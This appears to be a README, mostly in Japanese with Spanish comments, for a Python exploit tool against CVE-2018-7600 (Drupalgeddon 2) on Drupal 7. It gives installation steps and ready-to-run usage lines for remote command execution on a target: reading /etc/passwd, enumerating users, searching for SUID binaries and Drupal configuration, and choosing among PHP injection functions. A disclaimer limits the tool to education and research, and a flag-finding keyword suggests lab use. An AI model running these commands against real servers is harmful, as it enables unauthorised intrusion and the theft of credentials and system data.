
CVE-2018-7600 (Drupalgeddon 2) の Python エクスプロイト。Drupal 7 でリモートコード実行を可能にし、Linux および Windows 用の複数のインジェクション方法と事前定義コマンドを備えています。
bixi.pybixi.py は、Drupal 7 に影響する脆弱性 CVE‑2018‑7600 (Drupalgeddon 2) を対象とするエクスプロイトです。
直感的なインターフェースと定義済みコマンドを使用して、脆弱な Drupal サーバー上でリモートコマンド実行(RCE)を可能にします。
このソフトウェアは、管理された環境における教育および研究目的のみに使用してください。
"大いなる力には大いなる責任が伴う"
system, passthru, exec, )shell_execgit clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Otras distribuciones
pip3 install requests
chmod +x bixi.py
python3 bixi.py --help
python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]
# Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test
# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
| Comando | Descripción |
|---|---|
| linux | システム情報 |
| users_linux | ユーザー一覧 |
| id | ユーザー/グループ情報 |
| ls | ファイル一覧 |
| ifconfig | ネットワーク情報 |
| find_flag | フラグを検索 |
| Comando | Descripción |
|---|---|
| windows | システム情報 |
| net_user | ユーザー一覧 |
| whoami_win | 詳細情報 |
| ipconfig | ネットワーク |
| netstat_win | 接続状況 |
| dir | ディレクトリ一覧 |
| Comando | Descripción |
|---|---|
| sudo | sudo 権限の確認 |
| suid | SUID バイナリの検索 |
| net_localgroup | ローカルグループ |
| drupal_config | 設定の検索 |
| drupal_version | Drupal のバージョン取得 |
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
デフォルト値(15秒)を変更:
timeout=15
get_command_for_keyword() 内の commands 辞書を編集します
pip3 install requests
# Verificar conectividad
ping TARGET_IP
# Verificar ruta Drupal
curl http://TARGET_IP/drupal/